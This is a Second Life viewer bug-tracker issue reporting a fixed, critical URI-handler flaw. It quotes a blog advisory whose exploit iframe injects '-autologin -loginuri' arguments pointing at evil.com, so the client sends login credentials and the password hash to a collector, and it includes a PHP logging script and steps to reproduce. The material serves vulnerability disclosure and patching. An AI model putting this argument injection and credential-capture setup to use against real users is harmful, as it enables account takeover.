• All submissions to this site are governed by Second Life Project Contribution Agreement. By submitting patches and other information using this site, you acknowledge that you have read, understood, and agreed to those terms.
Issue Details (XML | Word | Printable)

Key: VWR-2508
Type: Bug Bug
Status: Resolved Resolved
Resolution: Fixed
Priority: Critical Critical
Assignee: Unassigned
Reporter: Till Stirling
Votes: 1
Watchers: 0
Operations

If you were logged in you would be able to see more operations.
1. Second Life Viewer - VWR

Major Exploit to get access to another users account!

Created: 18/Sep/07 02:59 AM   Updated: 29/Jun/08 11:22 AM
Return to search
Component/s: User Interface
Affects Version/s: Source code, Other (please specify in issue description), 1.18.3 Release Candidate, 1.18.0, 1.18.1.2, 1.18.2.0
Fix Version/s: None

File Attachments: 1. Zip Archive SecondLife-1.18.2.0-uriexploit-patch.zip (2 kB)

Environment: Windws / Linux (?)

Linden Lab Issue ID: DEV-11213


 Description  « Hide
Quote from: http://www.gnucitizen.org/blog/ie-pwns-secondlife

Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>

Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:

[HTTP_RAW_POST_DATA] => <methodCall>
<methodName>login_to_simulator</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>first</name>
<value>
<string>Elm</string>
</value>
</member>
<member>
<name>last</name>
<value>
<string>Blanco</string>
</value>
</member>
<member>
<name>passwd</name>
<value>
<string>$1$[MD5 Hash of the password here]</string>
</value>
</member>
<member>
<name>start</name>
<value>
<string>last</string>
</value>
</member>
<member>
<name>version</name>
<value>
<string>1.18.2.0</string>
</value>
</member>
<member>
<name>channel</name>
<value>
<string>Second Life Release</string>
</value>
</member>
<member>
<name>platform</name>
<value>
<string>Win</string>
</value>
</member>
...
...
...
</methodCall>

Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.

Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:

Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>

Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:

<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>Open the page inside Internet Explorer

(both IE6 and IE7 are exploitable).

After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.



 All   Comments   Change History      Sort Order: Ascending order - Click to sort in descending order
Till Stirling made changes - 18/Sep/07 03:02 AM
Field Original Value New Value
Description Quote from:

Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'&gt;&lt;/iframe>

Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:

[HTTP_RAW_POST_DATA] => <methodCall>
    <methodName>login_to_simulator</methodName>
    <params>
        <param>
            <value>
                <struct>
                    <member>
                        <name>first</name>
                        <value>
                        <string>Elm</string>
                    </value>
                </member>
                <member>
                    <name>last</name>
                    <value>
                    <string>Blanco</string>
                </value>
            </member>
            <member>
                <name>passwd</name>
                <value>
                    <string>$1$[MD5 Hash of the password here]</string>
                </value>
            </member>
            <member>
                <name>start</name>
                <value>
                    <string>last</string>
                </value>
            </member>
            <member>
                <name>version</name>
                <value>
                    <string>1.18.2.0</string>
                </value>
            </member>
            <member>
                <name>channel</name>
                <value>
                    <string>Second Life Release</string>
                </value>
            </member>
            <member>
                <name>platform</name>
                <value>
                    <string>Win</string>
                </value>
            </member>
            ...
            ...
            ...
</methodCall>

Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.

Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:

Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>

Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:

<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'&gt;&lt;/iframe&gt;Open the page inside Internet Explorer

(both IE6 and IE7 are exploitable).

After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.
Quote from: http://www.gnucitizen.org/blog/ie-pwns-secondlife

Eploit Code:
<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'&gt;&lt;/iframe>

Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:

[HTTP_RAW_POST_DATA] => <methodCall>
    <methodName>login_to_simulator</methodName>
    <params>
        <param>
            <value>
                <struct>
                    <member>
                        <name>first</name>
                        <value>
                        <string>Elm</string>
                    </value>
                </member>
                <member>
                    <name>last</name>
                    <value>
                    <string>Blanco</string>
                </value>
            </member>
            <member>
                <name>passwd</name>
                <value>
                    <string>$1$[MD5 Hash of the password here]</string>
                </value>
            </member>
            <member>
                <name>start</name>
                <value>
                    <string>last</string>
                </value>
            </member>
            <member>
                <name>version</name>
                <value>
                    <string>1.18.2.0</string>
                </value>
            </member>
            <member>
                <name>channel</name>
                <value>
                    <string>Second Life Release</string>
                </value>
            </member>
            <member>
                <name>platform</name>
                <value>
                    <string>Win</string>
                </value>
            </member>
            ...
            ...
            ...
</methodCall>

Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.

Keep in mind that most attacker don't event have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.
Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:

Get Apache with PHP
Put the following script into a file called login.php:
<?php
ob_start();
print_r($GLOBALS);
error_log(ob_get_contents(), 0);
ob_end_clean();
?>

Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
Make a page with the following HTML body:

<iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'&gt;&lt;/iframe&gt;Open the page inside Internet Explorer

(both IE6 and IE7 are exploitable).

After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.
Jonash Vanalten made changes - 18/Sep/07 11:58 AM
Gigs Taggart made changes - 24/Sep/07 02:59 AM
Resolution Fixed [ 1 ]
Status Open [ 1 ] Resolved [ 5 ]
Torley Linden made changes - 15/Nov/07 09:53 AM
Affects Version/s First Look: WindLight [ 10080 ]
Rob Linden made changes - 22/Dec/07 03:06 AM
Workflow jira [ 15391 ] jira-2007-12-21 [ 27839 ]
Rob Linden made changes - 22/Dec/07 03:17 AM
Workflow jira [ 27839 ] jira-2007-12-21 [ 28482 ]
Rob Linden made changes - 22/Dec/07 03:50 PM
Workflow jira-2007-12-21 [ 28482 ] jira-2007-12-22 [ 34841 ]
Rob Linden made changes - 22/Dec/07 10:41 PM
Workflow jira-2007-12-22 [ 34841 ] jira-2007-12-22a [ 46006 ]
Rob Linden made changes - 22/Dec/07 11:07 PM
Workflow jira-2007-12-22 [ 46006 ] jira-2007-12-22a [ 47356 ]
Soft Linden made changes - 29/Jun/08 11:22 AM
Linden Lab Issue ID DEV-11213
Sue Linden made changes - 13/Nov/08 11:13 AM
Workflow jira-2007-12-22a [ 47356 ] jira-2008-11-14 [ 66295 ]
Sue Linden made changes - 13/Nov/08 11:46 AM
Workflow jira-2007-12-22a [ 66295 ] jira-2008-11-14 [ 76743 ]
Sue Linden made changes - 13/Nov/08 05:18 PM
Workflow jira-2008-11-14 [ 76743 ] jira-2008-11-14a [ 103663 ]
Sue Linden made changes - 13/Nov/08 05:36 PM
Workflow jira-2008-11-14 [ 103663 ] jira-2008-11-14a [ 110819 ]
Sue Linden made changes - 13/Nov/08 05:51 PM
Workflow jira-2008-11-14 [ 110819 ] jira-2008-11-14a [ 115568 ]
Sue Linden made changes - 13/Nov/08 06:09 PM
Workflow jira-2008-11-14 [ 115568 ] jira-2008-11-14a [ 122631 ]
Sue Linden made changes - 13/Nov/08 06:46 PM
Workflow jira-2008-11-14 [ 122631 ] jira-2008-11-14a [ 136087 ]